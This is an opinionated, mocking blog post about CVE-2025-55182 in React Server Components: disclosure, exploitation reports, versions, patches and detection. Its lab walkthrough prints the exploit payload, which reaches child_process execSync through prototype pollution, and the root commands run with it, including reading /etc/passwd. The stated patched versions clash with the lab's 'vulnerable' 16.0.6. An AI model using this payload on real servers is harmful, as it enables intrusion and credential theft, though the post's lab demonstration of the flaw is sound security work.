React’s Terrible, Horrible, No Good, Very Bad Year

On December 3, 2025, the React team disclosed CVE-2025-55182, a critical vulnerability in React Server Components (RSC) that scored a perfect 10.0 on CVSS. Within hours, Chinese APT groups were already exploiting it in the wild. Shocking absolutely no one who’s been paying attention to React’s 2025 security track record.

This is just the latest in a string of catastrophic React failures this year. Remember when Cloudflare literally DDoS’d themselves in September because React’s useEffect hook is a footgun wrapped in dependency array hell? Their dashboard went down for over an hour because someone put an object in a dependency array and React decided to spam their own API until the entire service collapsed. A company that specializes in DDoS protection took themselves down with a React hook. You can’t make this up.

And CVE-2025-55182 isn’t even the only RSC vulnerability they dropped in December. They also shipped CVE-2025-55184 (DoS, CVSS 7.5), CVE-2025-55183 (source code exposure, CVSS 5.3), and CVE-2025-67779 (another DoS). Four CVEs in one month for a “production-ready” framework. Amazing work.

If you’re running Next.js 15.x or 16.x with App Router, or React 19.x with Server Components, you need to patch this immediately. Or better yet, rewrite your app in Svelte and avoid this entire class of problems.

What Is It

CVE-2025-55182 is an unsafe deserialization vulnerability in how React Server Components process RSC payloads. The server doesn’t properly validate the structure of incoming data, which lets attackers smuggle malicious code through what should be safe serialized data. Basically, Meta’s team built an entire custom serialization protocol and forgot to add input validation. Wild.

The vulnerability was discovered by Lachlan Davidson and reported through Meta’s bug bounty program on November 29, 2025. Props to Lachlan for actually doing Meta’s QA work for them. Patches were pushed to npm and the CVE was publicly disclosed on December 3.

How It Works

React Server Components use a custom serialization format called the React Flight Protocol to send data from the server to the client. The problem is in how the server deserializes this data when processing requests. And by “problem,” I mean they literally just forgot to validate user input before eval’ing it. Security 101 stuff.

Here’s the attack chain:

  1. Attacker crafts a malformed RSC payload with prototype-polluting keys like __proto__ or constructor
  2. Server deserializes the payload without proper validation (because apparently hasOwnProperty checks are too much to ask)
  3. The payload chains internal gadgets to create Promise-like objects with attacker-controlled .then properties
  4. During deserialization, React automatically resolves these Promise-like objects
  5. The .then handler executes with attacker-controlled code
  6. Game over - you’ve got RCE as root

The scariest part? Default configurations are vulnerable. A standard Next.js app created with create-next-app can be exploited with zero code changes. You don’t even need to be using Server Functions explicitly - just having RSC enabled is enough. The React team shipped a framework where the default state is “remotely exploitable.” In production. In 2025.

Meanwhile, Svelte’s server-side rendering just works without introducing prototype pollution vectors or custom serialization protocols that can be weaponized. But I digress.

Exploitation

The bug was disclosed December 3. By December 4, threat intel teams were seeing active exploitation.

Groups identified:

  • Earth Lamia (China-nexus)
  • Jackpot Panda (China-nexus)

Between December 3-11, Cloudflare reported 582 million exploitation attempts. That’s 3.49 million per hour on average, with peaks hitting 12.72 million in a single hour.

Attack payloads are being used for:

  • Cryptomining
  • Credential harvesting
  • Backdoor deployment
  • Lateral movement in cloud environments

CISA added this to their Known Exploited Vulnerabilities catalog almost immediately.

Affected Versions

React:

  • 19.0.0
  • 19.1.0
  • 19.1.1
  • 19.2.0

Next.js:

  • 15.x (with App Router)
  • 16.x (with App Router)

If you’re using Pages Router instead of App Router in Next.js, you’re not vulnerable since it doesn’t use RSC.

Patches

React team pushed fixes fast:

React:

  • 19.0.1
  • 19.1.2
  • 19.2.1

Next.js:

  • 15.1.4
  • 16.0.1

Update now:

npm update react react-dom
npm update next

Or in package.json:

{
  "dependencies": {
    "react": "^19.2.1",
    "react-dom": "^19.2.1",
    "next": "^15.1.4"
  }
}

Detection

Check your dependencies:

npm list react react-dom next

If you see vulnerable versions, you’re at risk.

For deployed apps, check logs for suspicious RSC payload patterns or unexpected server errors during deserialization.

Wiz Security reported that 39% of cloud environments they scanned contained vulnerable versions of Next.js or React. If you’re running React Server Components in production, assume you’re a target.

Lab Demonstration (Watch Me Get Root)

Because reading about vulnerabilities is boring without actually exploiting them, I spun up a vulnerable environment using the Docker POC from l4rm4nd/CVE-2025-55182 and got root in about 5 minutes. Let me walk you through how trivial this is to exploit.

Environment Setup

The vulnerable container runs a Next.js 16.0.6 application with React Server Components enabled:

docker run -p 3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest

Vulnerable Application Homepage The intentionally vulnerable React2Shell PoC stack running on localhost:3000

Vulnerability Detection

First, I confirmed the vulnerability using the AssetNote scanner:

Scanner Output Scanner confirms the target is vulnerable with Status 303 response

The scanner successfully detected the vulnerability, confirming this is an exploitable target.

Exploitation

The exploit uses prototype pollution combined with prototype chain traversal to access JavaScript’s Function constructor. Here’s the payload structure:

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": "var res = process.mainModule.require('child_process').execSync('COMMAND').toString(); throw Error('NEXT_REDIRECT', {digest: res});",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

Key techniques:

  • $1:__proto__:then pollutes Object.prototype.then
  • $1:constructor:constructor accesses the Function constructor via prototype chain
  • process.mainModule.require('child_process').execSync() executes system commands
  • Output is captured via NEXT_REDIRECT error digest

Proof of Concept (Getting Root The Easy Way)

Running the exploit confirms we have root-level code execution. No privilege escalation needed - React just hands it to you:

Command Execution Multiple commands executed successfully - id, ls -la, cat /etc/passwd, uname -a, and whoami all showing full system access

The id command response shows:

uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

We’re root. On the first try. With a publicly available POC. From an unauthenticated HTTP request.

Commands executed in the screenshot:

  • python3 exploit.py id - Confirms we’re running as root with full privileges
  • python3 exploit.py "ls -la" - Lists Next.js application directory contents
  • python3 exploit.py "cat /etc/passwd" - Reads system password file (all your users are belong to us)
  • python3 exploit.py "uname -a" - Returns Linux kernel information
  • python3 exploit.py whoami - Confirms root user access (spoiler: it’s root)

All commands executed successfully with full output captured. In a real attack scenario, this would allow an attacker to:

  • Exfiltrate environment variables and secrets (AWS credentials, API keys, database passwords, the works)
  • Deploy cryptominers or backdoors (which is exactly what APT groups are doing)
  • Pivot to internal cloud resources via IMDS endpoints (169.254.169.254 says hello)
  • Establish persistent access through reverse shells
  • Basically own your entire infrastructure because you chose React over a competent framework

This took me less time to exploit than it takes React to re-render a component tree with improper memoization.

Why This Matters (And Why React Needs To Do Better)

This is a textbook example of why deserialization vulnerabilities are so dangerous. The React team built an entire custom serialization protocol for RSC, but somehow “forgot” to add basic input validation. hasOwnProperty checks. That’s literally all it would have taken. But instead, they shipped code that treats user input as trusted data and deserializes it directly into executable contexts.

The speed of exploitation is also wild. Disclosure to active exploitation in hours, not days. APT groups were ready with working exploits immediately, suggesting they either had advance knowledge or reversed the patch within hours of release. By December 11, Cloudflare reported 582 million exploitation attempts. That’s not a typo - half a billion attacks in 8 days.

If you’re building with React Server Components, this should be your wake-up call. The framework is introducing massive attack surface with features that don’t even work properly. You’re trusting Meta - a company that can’t ship a useEffect hook without creating infinite loops - to handle server-side code execution securely.

Meanwhile, frameworks like Svelte handle server-side rendering without custom serialization protocols, without prototype pollution vectors, and without shipping CVSS 10.0 RCE vulnerabilities in production. SvelteKit’s server routes are just functions. No magic. No “Flight Protocol.” No footguns. Just code that works and doesn’t get your production servers owned by script kiddies with a curl command.

React’s 2025 lowlights:

  • September: Cloudflare self-DDoS via useEffect dependency array bug (3 hour outage)
  • December: CVE-2025-55182 (RCE, CVSS 10.0)
  • December: CVE-2025-55184 (DoS, CVSS 7.5)
  • December: CVE-2025-55183 (Source code exposure, CVSS 5.3)
  • December: CVE-2025-67779 (DoS)

That’s four CVEs in one month for React Server Components alone. The feature is fundamentally broken.

But hey, at least the React team got to innovate with their custom serialization format. Innovation is what matters, right? Not security. Not stability. Innovation.

Timeline

  • Nov 29, 2025: Lachlan Davidson reports to Meta Bug Bounty (doing Meta’s job for them)
  • Dec 3, 2025: CVE disclosed, patches released
  • Dec 3-4, 2025: Active exploitation begins (Chinese APT groups speedrun the vulnerability)
  • Dec 5, 2025: CISA adds to KEV catalog (because of course they did)
  • Dec 11, 2025: 582M+ exploitation attempts recorded (half a billion and counting)

The Bottom Line

React Server Components is a half-baked feature that shipped with critical security vulnerabilities in its core deserialization logic. The fact that this passed code review, QA, and made it into production tells you everything you need to know about Meta’s approach to security engineering.

If you’re currently running Next.js with App Router or React 19 with Server Components:

  1. Patch immediately to React 19.2.1+ or Next.js 15.1.4+/16.0.1+
  2. Audit your logs for exploitation attempts
  3. Rotate any credentials that might have been exposed
  4. Seriously consider if you want to bet your infrastructure on a framework with this security track record

Or, you know, just use Svelte. Your future self will thank you when you’re not scrambling to patch CVSS 10.0 RCE vulnerabilities at 3am.

Stay safe out there. And maybe think twice before adopting bleeding-edge React features on day one.

References

Official Advisories:

React’s 2025 Hall of Shame:

Technical Analysis:

Threat Intelligence:

Proof of Concepts:

Additional Resources:


Patch your apps. This one’s being actively exploited by APT groups as we speak.

And maybe reconsider your technology choices while you’re at it. Just saying.